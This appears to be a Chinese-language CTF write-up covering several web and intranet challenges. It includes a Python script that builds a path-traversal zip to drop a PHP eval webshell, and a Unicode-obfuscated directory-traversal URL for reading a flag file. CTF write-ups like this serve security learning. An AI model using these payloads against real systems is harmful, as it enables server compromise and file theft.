easy_time#

这题做的比较难受，给的题干和名字感觉不知道有什么用。5000端口有个flask，80端口有个PHP 8.2。

其中flask头像fetch存在ssrf；同时有上传插件zip解压功能。PHP部分完整源码如下： index.php

1
<?php
2

3
echo "hello ctfer! Do it. No excuses.";
4

5
?>

phpinfo.php

1
<?php
2

3
phpinfo();
4

5
?>

date.php

1
<?php
2
$path = (isset($_GET['path']) && $_GET['path'] !== '') ? $_GET['path'] : 'index.php';
3
echo filemtime("index.php");
4
?>

这个easy_time感觉很没有头绪，但是python端的解压zip存在路径穿越，那么break是简单的。

1
import zipfile
2

3
with zipfile.ZipFile("exp.zip", "w") as zf:
4
    zf.writestr("../../../var/www/html/test.php", "test<?php @eval($_GET['a']) ?>")

MediaDrive#

题目有文件上传，支持设置预览时的编码格式（有”UTF-8”, “GBK”, “BIG5”, “ISO-2022-CN-EXT”）。Cookie是反序列化数据，包含用户名、编码格式和baseUrl。

题目提示用户Cookie、文件预览、路径转换存在漏洞。

1
$rawPath = $user->basePath . $f;
2

3
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
4
    http_response_code(403);
5
    echo "Access denied";
6
    exit;
7
}

题目自带了这样的过滤，所以很显然是利用编码绕过，并且进行目录穿越。不过，baseUrl的反序列化貌似无效，很奇怪。

题目在处理传入的文件名时，会把文件名从设置的编码格式转为UTF-8。凭直觉，漏洞肯定在ISO-2022-CN-EXT上。因为其他机制在处理ASCII字符时性状基本一致。而这个ISO-2022这么新，一看就和Unicode脱不了关系。

厨子试了好多种encode方式，发现用Unicode编码就可以绕过。

1
http://10.11.253.13:24592/preview.php?f=.̶̲.̶̲/̶̲.̶̲.̶̲/̶̲.̶̲.̶̲/̶̲.̶̲.̶̲/̶̲f̶̲l̶̲a̶̲g̶̲

1
$convertedPath = str_replace(['../', './'], '', $convertedPath);

1
$user->basePath = "/var/www/html/uploads/";

1
$uploadsDir = "/var/www/html/uploads/";
2

3
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $convertedPath)) {
4
    http_response_code(403);
5
    echo "Access denied";
6
    exit;
7
}

ISW1#

IP是10.11.133.83，80端口有一个HTTP Proxy，存在路径穿越，可以任意度，但是没有收获。通过这个入口机可以访问内网192.168.45.0/24，还是没有收获（）proxychains忘装了，macOS/Orb都没有。。

ISW2#

qwq

是Windows，开了135、445、3389，怎么看都像是永恒之蓝啊，结果又是一个metaploit都没有…

开了个列目录，下到了一个RPC服务器，但是不清楚怎么操作。

ISW3#

Shiro RememberMe的CVE，结果4个人都没exp。纯手搓payload😭

Yakit有扫描器，能不能给个PoC啊！AwesomePoc也是，倒是给了exp啊！Java Chains得装啊qwq

最后3分钟id出了，赶紧读flag，好在没搞什么阴间花活。